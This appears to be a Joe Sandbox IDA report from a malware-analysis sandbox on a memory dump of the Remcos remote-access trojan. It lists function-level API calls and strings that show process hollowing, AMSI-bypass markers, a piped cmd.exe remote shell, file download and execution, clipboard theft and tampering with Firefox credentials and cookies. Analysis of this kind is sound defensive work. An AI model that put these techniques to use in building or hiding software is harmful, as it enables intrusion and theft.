Instruction ID: ad9e7b816f3c5af5e63fa51f3dafeae5c3770d91119cb01620add7d1ffe7b97f
Opcode Fuzzy Hash: 4e808c0ff3c02aa52b190e780b4e2ac5cb131c7304a7948b6641ac5bf13bd0be
Instruction Fuzzy Hash: D8E20939A512689FDB11FB65CD90EDEB3B9AF86700F1081B6A009AF215DB70EE45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 03F77F46 Relevance: 41.8, APIs: 8, Strings: 15, Instructions: 1553nativeprocessthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 03F77BE8: LoadLibraryW.KERNEL32(?,00000000,03F77C9A), ref: 03F77C18
Part of subcall function 03F77BE8: GetModuleHandleW.KERNEL32(?,?,00000000,03F77C9A), ref: 03F77C1E
Part of subcall function 03F77BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 03F77C37

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,03FC5398,03FC5388,OpenSession,03FC5360,03F79A30,ScanString,03FC5360), ref: 03F78446
GetThreadContext.KERNEL32(00000000,03FC53DC,ScanString,03FC5360,03F79A30,UacInitialize,03FC5360,03F79A30,ScanBuffer,03FC5360,03F79A30,ScanBuffer,03FC5360,03F79A30,UacInitialize,03FC5360), ref: 03F787DF
NtReadVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,-00000008,03FC54B0,00000004,03FC54B8,ScanBuffer,03FC5360,03F79A30,ScanString,03FC5360,03F79A30,Initialize,03FC5360,03F79A30,UacScan,03FC5360), ref: 03F78A3C
NtUnmapViewOfSection.N(00000000,?,ScanBuffer,03FC5360,03F79A30,ScanString,03FC5360,03F79A30,Initialize,03FC5360,03F79A30,00000000,-00000008,03FC54B0,00000004,03FC54B8), ref: 03F78BB7

Part of subcall function 03F77968: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 03F77975
Part of subcall function 03F77968: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 03F7797B
Part of subcall function 03F77968: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 03F7799B

Strings

Initialize, xrefs: 03F782C2, 03F788D5, 03F78A5C, 03F78E45, 03F790A7, 03F79217, 03F7938A, 03F795EF
NtOpenObjectAuditAlarm, xrefs: 03F79811
ScanString, xrefs: 03F77FDA, 03F78185, 03F78333, 03F78760, 03F78946, 03F78ACD, 03F78F5A, 03F79118, 03F79288, 03F793FB, 03F796E6, 03F79793
NtReadVirtualMemory, xrefs: 03F797FD
bcrypt, xrefs: 03F79755, 03F79769, 03F7977D
sppc, xrefs: 03F7854E
ScanBuffer, xrefs: 03F780A4, 03F7812C, 03F784C7, 03F785DC, 03F7867E, 03F789B7, 03F78B3E, 03F78CD1, 03F78EB6, 03F78FCB, 03F79189, 03F792F9, 03F7946C, 03F79660, 03F7987E, 03F79941
ntdll, xrefs: 03F79802, 03F79816
BCryptRegisterProvider, xrefs: 03F79778
UacInitialize, xrefs: 03F7820A, 03F7856B, 03F786EF, 03F787F3, 03F7950D
UacScan, xrefs: 03F7804B, 03F78263, 03F78864, 03F78C60, 03F78DD4, 03F7957E
BCryptQueryProviderRegistration, xrefs: 03F79764
OpenSession, xrefs: 03F77F81, 03F783A4, 03F78456, 03F7982C, 03F798D0
SLGetLicenseInformation, xrefs: 03F78537
BCryptVerifySignature, xrefs: 03F79750

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressHandleMemoryModuleProcVirtual$AllocateContextCreateLibraryLoadProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$Initialize$NtOpenObjectAuditAlarm$NtReadVirtualMemory$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$bcrypt$ntdll$sppc
API String ID: 3979268988-2367850715
Opcode ID: cc9b781acd4bcd146dd9b6b8e8cf4c4016df9ae17248ca8ece1eb1a7a4161e4d
Instruction ID: ccd41e95d368a9b966a080adc66f1cabfdd2a990187b6b2ee8fa36778d112107
Opcode Fuzzy Hash: cc9b781acd4bcd146dd9b6b8e8cf4c4016df9ae17248ca8ece1eb1a7a4161e4d
Instruction Fuzzy Hash: D1E20939A512689FDB11FB65CD90EDEB3B9AF86700F1081B6A009AF215DB70EE45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 16027C97 Relevance: 34.1, APIs: 10, Strings: 9, Instructions: 835filesleepCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?), ref: 16027CB9
GetFileAttributesW.KERNEL32(00000000,00000000,?), ref: 16027D87
DeleteFileW.KERNEL32(00000000), ref: 16027DA9

Part of subcall function 1603C291: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,16094EE0,?), ref: 1603C2EC
Part of subcall function 1603C291: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,16094EE0,?), ref: 1603C31C
Part of subcall function 1603C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,16094EE0,?), ref: 1603C371
Part of subcall function 1603C291: FindClose.KERNEL32(00000000,?,?,?,?,?,16094EE0,?), ref: 1603C3D2
Part of subcall function 1603C291: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,16094EE0,?), ref: 1603C3D9

Part of subcall function 16024AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 16024B36

Part of subcall function 1603B4EF: GetLocalTime.KERNEL32(00000000), ref: 1603B509

Part of subcall function 16024AA1: WaitForSingleObject.KERNEL32(?,00000000,16021A45,?,?,00000004,?,?,00000004,16096B50,16094EE0,00000000), ref: 16024B47
Part of subcall function 16024AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,16096B50,16094EE0,00000000,?,?,?,?,?,16021A45), ref: 16024B75

ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 16028197
GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 16028278
SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 160284C4
DeleteFileA.KERNEL32(?), ref: 16028652

Part of subcall function 1602880C: __EH_prolog.LIBCMT ref: 16028811
Part of subcall function 1602880C: FindFirstFileW.KERNEL32(00000000,?,16086608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 160288CA
Part of subcall function 1602880C: __CxxThrowException@8.LIBVCRUNTIME ref: 160288F2
Part of subcall function 1602880C: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 160288FF

Sleep.KERNEL32(000007D0), ref: 160286F8
StrToIntA.SHLWAPI(00000000,00000000), ref: 1602873A

Part of subcall function 1603C9E2: SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 1603CAD7

Strings

Downloaded file: , xrefs: 1602802E
Deleted file: , xrefs: 16027DC8
Downloading file: , xrefs: 16027F7D
Unable to delete: , xrefs: 16027E07
Failed to download file: , xrefs: 160280A5
Executing file: , xrefs: 160281AD
open, xrefs: 16028191
Unable to rename file!, xrefs: 16028413
Browsing directory: , xrefs: 16028238

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$Find$AttributesDeleteDirectoryEventFirstNextRemove$CloseDriveException@8ExecuteH_prologInfoLocalLogicalObjectParametersShellSingleSleepStringsSystemThrowTimeWaitsend
String ID: Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $Unable to delete: $Unable to rename file!$open
API String ID: 1067849700-1507758755
Opcode ID: 5b67e64ea5d154dc396fe052736ecc817e551d4d7a50e6704493f90556bd8749
Instruction ID: b2dfc15d12c7e75518fa712ac9a204b1d130de70546c12de4417daf18ed4feda
Opcode Fuzzy Hash: 5b67e64ea5d154dc396fe052736ecc817e551d4d7a50e6704493f90556bd8749
Instruction Fuzzy Hash: 9042923DA143405BCA18EB74CCA59AF7FABAFA1201FC1095CF65657591EF20BA0CC792

Uniqueness

Uniqueness Score: -1.00%

Function 1602569A Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 278pipesleepfileCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 160256E6

Part of subcall function 16024AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 16024B36

__Init_thread_footer.LIBCMT ref: 16025723
CreatePipe.KERNEL32(16096CCC,16096CB4,16096BD8,00000000,160860BC,00000000), ref: 160257B6
CreatePipe.KERNEL32(16096CB8,16096CD4,16096BD8,00000000), ref: 160257CC
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,16096BE8,16096CBC), ref: 1602583F
Sleep.KERNEL32(0000012C,00000093,?), ref: 16025897
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 160258BC
ReadFile.KERNEL32(00000000,?,?,00000000), ref: 160258E9

Part of subcall function 16054770: __onexit.LIBCMT ref: 16054776

WriteFile.KERNEL32(00000000,00000000,?,00000000,16094F90,160860C0,00000062,160860A4), ref: 160259E4
Sleep.KERNEL32(00000064,00000062,160860A4), ref: 160259FE
TerminateProcess.KERNEL32(00000000), ref: 16025A17
CloseHandle.KERNEL32 ref: 16025A23
CloseHandle.KERNEL32 ref: 16025A2B
CloseHandle.KERNEL32 ref: 16025A3D
CloseHandle.KERNEL32 ref: 16025A45

Strings

SystemDrive, xrefs: 16025761
cmd.exe, xrefs: 1602574D

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreatePipe$FileInit_thread_footerProcessSleep$NamedPeekReadTerminateWrite__onexitsend
String ID: SystemDrive$cmd.exe
API String ID: 2994406822-3633465311
Opcode ID: 465bcde4a9c6f0d96bee9442dbec99c08c2581f6ecf56b434228cafbc9ed7ada
Instruction ID: 0a9a6e24cd3196c99b103d2562ab08f0af9b79c50a4dc0f2974c10b416d3caf6
Opcode Fuzzy Hash: 465bcde4a9c6f0d96bee9442dbec99c08c2581f6ecf56b434228cafbc9ed7ada
Instruction Fuzzy Hash: 1F91E8B5614274AFDB09EB74CC90D6E3FABFF50241F81082DF64A96291DE21AC4CCB65

Uniqueness

Uniqueness Score: -1.00%

Function 160320F7 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 238threadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 16032106

Part of subcall function 16033877: RegCreateKeyA.ADVAPI32(80000001,00000000,160860A4), ref: 16033885
Part of subcall function 16033877: RegSetValueExA.ADVAPI32(160860A4,000000AF,00000000,00000004,00000001,00000004,?,?,?,1602C152,16086C48,00000001,000000AF,160860A4), ref: 160338A0
Part of subcall function 16033877: RegCloseKey.ADVAPI32(160860A4,?,?,?,1602C152,16086C48,00000001,000000AF,160860A4), ref: 160338AB

OpenMutexA.KERNEL32(00100000,00000000,00000000), ref: 16032146
CloseHandle.KERNEL32(00000000), ref: 16032155
CreateThread.KERNEL32(00000000,00000000,160327EE,00000000,00000000,00000000), ref: 160321AB
OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 1603241A

Strings

\SysWOW64\, xrefs: 16032261
Watchdog launch failed!, xrefs: 16032383
Remcos restarted by watchdog!, xrefs: 16032160
\system32\, xrefs: 16032209
WDH, xrefs: 160321B5, 160321BB, 16032420
svchost.exe, xrefs: 160322C5
fsutil.exe, xrefs: 1603230F
rmclient.exe, xrefs: 160322EA
WinDir, xrefs: 1603221B, 16032270
Watchdog module activated, xrefs: 16032184, 160323DC

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseCreateOpenProcess$CurrentHandleMutexThreadValue
String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe
API String ID: 3018269243-13974260
Opcode ID: 13ef162bb0169a70fe96074623e099c845f7b827a904f2cad336e90d15ab49da
Instruction ID: 115222204a2548a34e4383123bbbc86ad38507b6f8ea7c09f1cd53de987ca28d
Opcode Fuzzy Hash: 13ef162bb0169a70fe96074623e099c845f7b827a904f2cad336e90d15ab49da
Instruction Fuzzy Hash: 9871B23D5042405BC618EB74CCA48AFBFBBAFE5203F80456DF59697191EF20B94CC6A2

Uniqueness

Uniqueness Score: -1.00%

Function 1602BB30 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 146fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 1602BBAF
FindClose.KERNEL32(00000000), ref: 1602BBC9
FindNextFileA.KERNEL32(00000000,?), ref: 1602BCEC
FindClose.KERNEL32(00000000), ref: 1602BD12

Strings

UserProfile, xrefs: 1602BB60
\AppData\Roaming\Mozilla\Firefox\Profiles\, xrefs: 1602BB52
\logins.json, xrefs: 1602BC34
\key3.db, xrefs: 1602BC76
[Firefox StoredLogins not found], xrefs: 1602BBD4
[Firefox StoredLogins Cleared!], xrefs: 1602BCFF

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID: [Firefox StoredLogins Cleared!]$[Firefox StoredLogins not found]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\key3.db$\logins.json
API String ID: 1164774033-3681987949
Opcode ID: 6dbea8ea4f3917c07514686efa8cd5e4eacc31d3dff4013eaeef3a7e27af3fed
Instruction ID: 00cfd9835890d4cc3df43d6aa4d39018a6b0ec29bf9860c432d034207e6c70df
Opcode Fuzzy Hash: 6dbea8ea4f3917c07514686efa8cd5e4eacc31d3dff4013eaeef3a7e27af3fed
Instruction Fuzzy Hash: 0E517339C100299BDB14E7B0DC94DEEBF7AAF10611F9005ADE51667091FF30BA8DCA91

Uniqueness

Uniqueness Score: -1.00%

Function 03F658CC Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,03F67338,03F60000,03F8B790), ref: 03F658E9
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 03F65900
lstrcpynA.KERNEL32(?,?,?), ref: 03F65930
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,03F67338,03F60000,03F8B790), ref: 03F65994
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,03F67338,03F60000,03F8B790), ref: 03F659CA
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,03F67338,03F60000,03F8B790), ref: 03F659DD
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,03F67338,03F60000,03F8B790), ref: 03F659EF
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,03F67338,03F60000,03F8B790), ref: 03F659FB
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,03F67338,03F60000), ref: 03F65A2F
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,03F67338), ref: 03F65A3B
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 03F65A5D

Strings

\, xrefs: 03F65A0D
GetLongPathNameA, xrefs: 03F658F7
kernel32.dll, xrefs: 03F658E4

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 128000ddb394fc48a286bb5bdde3476daf2298941cf952f55f9b1ba499ef89d0
Instruction ID: eb000a9fd5a2412dbc55b2e21b800108257726e3f1b4318a7749dbdd78272745
Opcode Fuzzy Hash: 128000ddb394fc48a286bb5bdde3476daf2298941cf952f55f9b1ba499ef89d0
Instruction Fuzzy Hash: 79414D76E00619AFDB10DFE8CC88ADEB7BCAF49250F0845A5E549EB241E770DF448B54

Uniqueness

Uniqueness Score: -1.00%

Function 1602BD37 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 131fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,\AppData\Roaming\Mozilla\Firefox\Profiles\), ref: 1602BDAF
FindClose.KERNEL32(00000000), ref: 1602BDC9
FindNextFileA.KERNEL32(00000000,?), ref: 1602BE89
FindClose.KERNEL32(00000000), ref: 1602BEAF
FindClose.KERNEL32(00000000), ref: 1602BED0

Strings

UserProfile, xrefs: 1602BD60
\AppData\Roaming\Mozilla\Firefox\Profiles\, xrefs: 1602BD52
\cookies.sqlite, xrefs: 1602BE2C
[Firefox cookies found, cleared!], xrefs: 1602BEDF
[Firefox Cookies not found], xrefs: 1602BDD4, 1602BE9C

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Find$Close$File$FirstNext
String ID: [Firefox Cookies not found]$[Firefox cookies found, cleared!]$UserProfile$\AppData\Roaming\Mozilla\Firefox\Profiles\$\cookies.sqlite
API String ID: 3527384056-432212279
Opcode ID: d7f0e6b74e44e8a28c544120c247f5e8038fe6b9cff03734eabd7dcb682c391e
Instruction ID: b6e8f01ed86aac0f1854ef2f33506b4a841657740479ac8fa6fa68b73549ae1f
Opcode Fuzzy Hash: d7f0e6b74e44e8a28c544120c247f5e8038fe6b9cff03734eabd7dcb682c391e
Instruction Fuzzy Hash: 96418139D101295ADF04E7B4DC94DEE7F7EEF11615F8041ADE606A3091FF206A8ECA91

Uniqueness

Uniqueness Score: -1.00%

Function 160332D2 Relevance: 18.2, APIs: 12, Instructions: 153fileCOMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 16033417
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 16033425
GetFileSize.KERNEL32(?,00000000), ref: 16033432
UnmapViewOfFile.KERNEL32(00000000), ref: 16033452
CloseHandle.KERNEL32(00000000), ref: 1603345F
CloseHandle.KERNEL32(?), ref: 16033465

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$CloseHandleView$CreateMappingSizeUnmap
String ID:
API String ID: 297527592-0
Opcode ID: e8ca4cbb7fa130fc4ef00ae72017bd61f2994475d4fa3b813f03e8f5fc33d1ab
Instruction ID: be0c336b5fd74126bcb64c6a7a08d4c309c0bf7ab6957483fbfaf1161ae9d027
Opcode Fuzzy Hash: e8ca4cbb7fa130fc4ef00ae72017bd61f2994475d4fa3b813f03e8f5fc33d1ab
Instruction Fuzzy Hash: 9741FF31508341BFE718DB25DC89F1B7FAEEF85726F104A19F658D5190EB30E848CA61

Uniqueness

Uniqueness Score: -1.00%

Function 160368C1 Relevance: 18.1, APIs: 12, Instructions: 80clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 160368C2
EmptyClipboard.USER32 ref: 160368D0
GlobalAlloc.KERNEL32(00002000,-00000002), ref: 160368F0
GlobalLock.KERNEL32(00000000), ref: 160368F9
GlobalUnlock.KERNEL32(00000000), ref: 1603692F
SetClipboardData.USER32(0000000D,00000000), ref: 16036938
CloseClipboard.USER32 ref: 16036955
OpenClipboard.USER32 ref: 1603695C
GetClipboardData.USER32(0000000D), ref: 1603696C
GlobalLock.KERNEL32(00000000), ref: 16036975
GlobalUnlock.KERNEL32(00000000), ref: 1603697E
CloseClipboard.USER32 ref: 16036984

Part of subcall function 16024AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 16024B36

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock$AllocEmptysend
String ID:
API String ID: 3520204547-0
Opcode ID: 4ab7deab75a042739b7f4ab170d350bb5dbcaf0503d3dec2b2e37dbc2399b4f5
Instruction ID: d9159f11e3b51e5b1a1eb6d6109ec19824bc1b4db2e102ff833d63eddc0565e3
Opcode Fuzzy Hash: 4ab7deab75a042739b7f4ab170d350bb5dbcaf0503d3dec2b2e37dbc2399b4f5
Instruction Fuzzy Hash: CC2177396042105FD718EBB0CC9C97E7ABFAFA5602F81055DF68696184EF35990CC662

Uniqueness

Uniqueness Score: -1.00%

Function 1602F474 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 210processCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000,160950E4,?,16095338), ref: 1602F48E
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 1602F4B9
Process32FirstW.KERNEL32(00000000,0000022C), ref: 1602F4D5
Process32NextW.KERNEL32(00000000,0000022C), ref: 1602F554
CloseHandle.KERNEL32(00000000,?,00000000,?,?,16095338), ref: 1602F563

Part of subcall function 1603C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 1603C1F5
Part of subcall function 1603C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 1603C208

CloseHandle.KERNEL32(00000000,?,16095338), ref: 1602F66E

Strings

C:\Program Files(x86)\Internet Explorer\, xrefs: 1602F6BE
Inj, xrefs: 1602F769
ielowutil.exe, xrefs: 1602F716
ieinstal.exe, xrefs: 1602F6D5

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseHandleOpenProcessProcess32$CreateFileFirstModuleNameNextSnapshotToolhelp32
String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe
API String ID: 3756808967-1743721670
Opcode ID: dcc4fba753c0c1db2cb62f22f6a435e5bb081952c1d2f762bd1defa5bbd04e01
Instruction ID: 2d19c61cbd45ce1fa289ccd9561703606a26fce462e0ed0df711b8e6f2517b43
Opcode Fuzzy Hash: dcc4fba753c0c1db2cb62f22f6a435e5bb081952c1d2f762bd1defa5bbd04e01
Instruction Fuzzy Hash: EF715D385583419BC754DF60DC909AFBFEAAFA4242FC0085DE696431A5EF30A94DCB92

Uniqueness

Uniqueness Score: -1.00%

Function 03F7CA6C Relevance: 16.2, APIs: 4, Strings: 5, Instructions: 400processsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 03F77BE8: LoadLibraryW.KERNEL32(?,00000000,03F77C9A), ref: 03F77C18
Part of subcall function 03F77BE8: GetModuleHandleW.KERNEL32(?,?,00000000,03F77C9A), ref: 03F77C1E
Part of subcall function 03F77BE8: GetProcAddress.KERNEL32(00000000,00000000), ref: 03F77C37

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000030,00000000,00000000,03FC5644,03FC5688,ScanString,03FC5344,03F7D0A4,OpenSession,03FC5344), ref: 03F7CDD3
WaitForSingleObject.KERNEL32(00000000,000000FF,ScanString,03FC5344,03F7D0A4,OpenSession,03FC5344,03F7D0A4,ScanString,03FC5344,03F7D0A4,OpenSession,03FC5344,03F7D0A4,UacScan,03FC5344), ref: 03F7D01F
CloseHandle.KERNEL32(00000000,00000000,000000FF,ScanString,03FC5344,03F7D0A4,OpenSession,03FC5344,03F7D0A4,ScanString,03FC5344,03F7D0A4,OpenSession,03FC5344,03F7D0A4,UacScan), ref: 03F7D02A
CloseHandle.KERNEL32(00000000,00000000,00000000,000000FF,ScanString,03FC5344,03F7D0A4,OpenSession,03FC5344,03F7D0A4,ScanString,03FC5344,03F7D0A4,OpenSession,03FC5344,03F7D0A4), ref: 03F7D035

Strings

OpenSession, xrefs: 03F7CAFE, 03F7CCA2, 03F7CE50, 03F7CF3C
AmsiOpenSession, xrefs: 03F7CC00
ScanString, xrefs: 03F7CB57, 03F7CCFB, 03F7CEC1, 03F7CFAD
UacScan, xrefs: 03F7CAA5, 03F7CC49, 03F7CDDF
Amsi, xrefs: 03F7CC11

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Handle$Close$AddressCreateLibraryLoadModuleObjectProcProcessSingleUserWait
String ID: Amsi$AmsiOpenSession$OpenSession$ScanString$UacScan
API String ID: 1205125484-661810597
Opcode ID: 011d1dfb9046269fae9f11e582ef81a1080d0208bbd583771f6e27d95f0de1bf
Instruction ID: 155eb1c77cb3a0bbd2f0a85e210e47193fb79892a00c37779f998e8c13ff71e6
Opcode Fuzzy Hash: 011d1dfb9046269fae9f11e582ef81a1080d0208bbd583771f6e27d95f0de1bf
Instruction Fuzzy Hash: AAF10E39A503599FDB10FBA5CD80FDEB3B5AF85600F509062A108FF229DA70EE468F51

Uniqueness

Uniqueness Score: -1.00%

Function 16039627 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 206COMMON

Download Yara Rule

Strings

1, xrefs: 16039695
4, xrefs: 160397B8
7, xrefs: 1603982A
3, xrefs: 16039754
5, xrefs: 16039809
0, xrefs: 16039651
6, xrefs: 16039813
2, xrefs: 160396F4

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
